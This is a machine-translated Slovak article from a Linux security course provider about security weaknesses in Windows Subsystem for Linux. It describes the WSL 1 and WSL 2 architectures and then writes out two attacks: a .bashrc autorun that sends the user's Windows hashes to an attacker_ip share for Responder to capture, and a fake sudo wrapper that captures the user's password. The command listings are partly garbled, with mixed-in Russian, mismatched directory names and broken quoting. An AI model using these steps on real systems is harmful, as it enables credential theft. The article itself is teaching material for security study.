WSL experimenty. Časť 1

Ahoj habr! OTUS spúšťa nový stream kurzov v októbri "Bezpečnosť Linuxu". V očakávaní začiatku kurzu s vami zdieľame článok, ktorý napísal jeden z našich učiteľov, Alexander Kolesnikov.

WSL experimenty. Časť 1

V roku 2016 spoločnosť Microsoft predstavila novú technológiu WSL komunite IT (Windows Spodsystém pre Linux), čo v budúcnosti umožnilo zjednotiť dovtedy nezmieriteľných konkurentov, ktorí bojovali o obľubu medzi bežnými aj pokročilými používateľmi OS: Windows a Linux. Táto technológia umožnila použiť nástroje OS Linux v prostredí Windows bez nutnosti spúšťať Linux, napríklad pomocou Multi-boot. Na Habr môžete nájsť veľké množstvo článkov popisujúcich výhody používania WSL. V čase vzniku tohto článku sa však na tomto zdroji, žiaľ, nenašli žiadne štúdie o bezpečnosti takejto symbiózy operačných systémov. Tento príspevok bude pokusom o nápravu. Článok bude hovoriť o vlastnostiach architektúr WSL 1 a 2 a preskúma niekoľko príkladov útokov na systémy využívajúce tieto technológie. Článok je rozdelený na 2 časti. Prvá poskytne hlavné teoretické metódy útoku z Linuxu a Windowsu. Druhý článok bude zahŕňať nastavenie testovacieho prostredia a reprodukovanie útokov.

WSL 1: architektonické prvky

Pre čo najpresnejší ponor do bezpečnostných problémov WSL je potrebné určiť hlavné nuansy spojené s implementáciou subsystému. Jednou z hlavných užívateľských úloh, ktoré rieši WSL, je schopnosť pracovať cez linuxový terminál na hostiteľovi s operačným systémom Windows. Okrem toho ponúkaná kompatibilita bola taká natívna, že spustiteľné súbory Linuxu (ELF) bolo možné spúšťať priamo na systéme Windows. Na dosiahnutie týchto cieľov bol v systéme Windows 10 vytvorený špeciálny subsystém, ktorý vám umožňuje spúšťať aplikácie pre Linux pomocou množiny špecifických systémových volaní – a tak došlo k pokusu zmapovať množinu systémových volaní systému Linux na Windows. Toto bolo fyzicky implementované pridaním nových ovládačov a nového formátu procesu. Vizuálne vyzerala architektúra takto:

WSL experimenty. Časť 1

V skutočnosti bola interakcia s operačným systémom Linux organizovaná prostredníctvom niekoľkých modulov jadra a špeciálneho typu procesu - pico. Z vyššie uvedeného diagramu môžete vidieť, že proces spustený na inštancii Linuxu na hostiteľovi musí byť natívny a musí využívať rovnaké prostriedky ako bežné aplikácie Windows. Ale ako to dosiahnuť? V projekte zdvíhací most Boli vyvinuté procesné koncepty pre Windows, ktoré poskytovali všetky potrebné súčasti operačného systému (v závislosti od jeho verzie) na spustenie aplikácie iného OS.

Všimnite si, že navrhovaná abstrakcia umožnila nezameriavať sa na operačný systém (najmä Windows), v ktorom sa očakáva spustenie procesu iného OS, a navrhla všeobecný prístup.

Každá aplikácia v procese pico by teda mohla bežať bez ohľadu na jadro systému Windows:

  1. Problémy s kompatibilitou a prekladom systémových volaní musia riešiť špeciálni poskytovatelia;
  2. Kontrola prístupu musí byť vykonaná cez Security Monitor. Monitor je umiestnený v jadre a preto Windows potreboval upgrade v podobe nového ovládača, ktorý by mohol fungovať ako poskytovateľ takýchto procesov. Prototyp piko procesu je schematicky znázornený nižšie:

WSL experimenty. Časť 1

Keďže súborový systém Linux používa názvy súborov a adresárov, v ktorých sa rozlišujú veľké a malé písmená, do systému Windows boli pridané 2 typy súborových systémov na prácu s WSL – VolFS a DriveFS. VolFS je implementácia súborového systému Linux, DriveFS je súborový systém, ktorý funguje podľa pravidiel systému Windows, ale má možnosť rozlišovať malé a veľké písmená.

WSL 2

WSL 1 mal množstvo obmedzení, ktoré neumožňovali jeho použitie na riešenie maximálneho rozsahu úloh: napríklad nemal možnosť spúšťať 32-bitové linuxové aplikácie a nebolo možné použiť ovládače zariadení. Preto v roku 2020 vyšiel WSL 2, ktorý zmenil prístup k budovaniu subsystému. WSL 2 je optimalizovaný virtuálny stroj, ktorý zodpovedá charakteristikám spotreby zdrojov WSL 1. Teraz, v závislosti od problémov, ktoré vyriešil používateľ operačného systému Windows, môžete vybrať požadovanú verziu subsystému Linux. Na zmiernenie možných zraniteľností bol implementovaný WSL 2 založený na Hyper-V vo Windowse 10. V tejto podobe má Windows schopnosť spúšťať jadro operačného systému Linux izolovane. Stojí za to pripomenúť, že verzia 1 WSL bola predstavená ako beta funkcia, ktorá mala ukázať smer vývoja Windowsu v tejto oblasti, takže prechod na Hyper-V bol nevyhnutný. Konečná architektúra vyzerá takto:

WSL experimenty. Časť 1

V tejto verzii majú jadrá Windows a Linux svoje vlastné zdroje a priesečník existuje iba v súborovom systéme, ale tento prienik nie je úplný. Interakcia medzi súborovými systémami sa uskutočňuje prostredníctvom obálky klient-server, ktorá funguje pomocou protokolu 9P.

Dnes spoločnosť Microsoft poskytuje možnosť prepínania medzi WSL 1 a WSL 2. Obe verzie sú dostupné na použitie.

Zabezpečenie WSL

V súčasnosti existuje niekoľko prác popisujúcich niektoré prístupy k používaniu legitímnych nástrojov OS na napadnutie komunikácie medzi podsystémami. Ich skripty použijeme na kontrolu relevantnosti útokov v čase písania. Všeobecný zoznam útokov a scenárov:

1. Implementácia súborového systému: prístupové práva, dostupnosť zdieľaných adresárov/mechanizmy výmeny údajov.

Uskutočnil sa výskum s cieľom zistiť porušenia pravidiel prístupu z Linux FS->Windows FS, Windows FS->Linux FS. Výskum preukázal schopnosť upraviť daný súbor v rámci cieľového OS. Uskutočnili sa aj pokusy nahradiť, vytvoriť duplikáty a odstrániť časť súborových systémov.

Scenár:

  • A. Útok z operačného systému Windows - úprava súborov z adresára /etc OS Linux.
  • B. Útok z operačného systému Linux - úprava súborov v adresároch: C:Windows, C:Program Files, C:Users<User>

2. Implementácia sieťového zásobníka.

Výskum bol realizovaný na príkladoch útokov z operačného systému Linux na Windows. Boli použité funkcie sieťového zásobníka, konkrétne mechanizmy autentifikácie na rôznych zdrojoch.

Scenár:

  • Otvorenie prístupu k portu, ktorý je obsadený v systéme Windows
  • Otvorenie portu bez príslušných práv
  • Spustenie spätného shellu pomocou súboru elf v operačnom systéme Windows.

3. Skrytie spúšťania procesov škodlivého softvéru pomocou subsystému WSL.

Výskum bol založený na jednoduchom fakte – bezpečnostné podsystémy nedokážu zachytiť udalosti v inom jadre, ktoré funguje pomocou legitímneho poskytovateľa z operačného systému v prípade WSL 1. V prípade WSL 2 neexistuje spôsob, ako zobraziť udalosti, ktoré sa vyskytnú v samostatnom jadre v rámci ľahkého virtuálneho stroja.

Scenár:

1) Spustite aplikáciu pre vzdialený prístup do systému a prezerajte si zaznamenané udalosti.

Experimenty WSL 1: zachytenie hash (Windows)

Nakoniec sme sa dostali k praktickej časti. Najprv musíte nastaviť testovacie prostredie. Všetky experimenty sa budú vykonávať na pracovnej ploche s nainštalovaným systémom Windows 10 2004. Ako obraz operačného systému pre WSL bol vybraný obraz Ubuntu 18.04. Obrázok bol vybraný náhodne a každý iný bude fungovať rovnako. Príkazy na nastavenie stojana:

Najprv musíte spustiť powershell.exe ako správca.

Pre WSL 1 musíte spustiť príkazy:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Po reštarte stojana môžete zavolať príkaz bash. Ak všetko fungovalo správne, v konzole Windows uvidíte výstup podobný tomuto:

    WSL experimenty. Časť 1

    Ako stroj útočníka použijeme distribúciu Kali Linux, všetky stroje musia byť v rovnakej lokálnej sieti.

    Predpokladajme, že máme neprivilegovaný prístup k WSL na počítači so systémom Windows. Skúsme zaútočiť na operačný systém Linux volaním príkazu z Linuxu. Na realizáciu útoku použijeme jednoduchú techniku ​​autorun – pridáme náš skript na spustenie v prostredí Linuxu. Ak to chcete urobiť, musíte zmeniť súbor .bashrc.

    Na stroji s WSL vykonáme:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Na počítači Kali Linux spúšťame:

    1. Responder -I eth0 -rdvw

    Na počítači so systémom Windows spustíme bash.

    Čakáme na výsledok na stroji Kali Linux:

    WSL experimenty. Časť 1

    Získali sme teda hashe používateľov systému Windows prostredníctvom subsystému WSL vykonaním príkazu v systéme Linux.

    Experimenty WSL 1: získanie používateľského hesla (Linux OS)

    Urobme ešte jeden experiment. Pri tejto kontrole doplníme do súboru .bashrc niekoľko príkazov na získanie hesla používateľa operačného systému Linux.

    Spustíme bash a zadáme príkazy:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Na úspešné dokončenie útoku musí používateľ Sam zavolať sudo v termináli Linux. Potom bude v súbore heslo používateľa operačného systému Linux pass.txt:

    WSL experimenty. Časť 1

    Realizácia útokov bola uvedená len pre teoretickú informáciu.

    V ďalšej časti článku bude popísaná implementácia protokolu 9P, zváženie vytvorenia skenera pre tento protokol a tiež vykonanie útoku pomocou neho.

    Zoznam odkazov

    WSL experimenty. Časť 1

    Čítaj viac

    Zdroj: hab.com

    Pridať komentár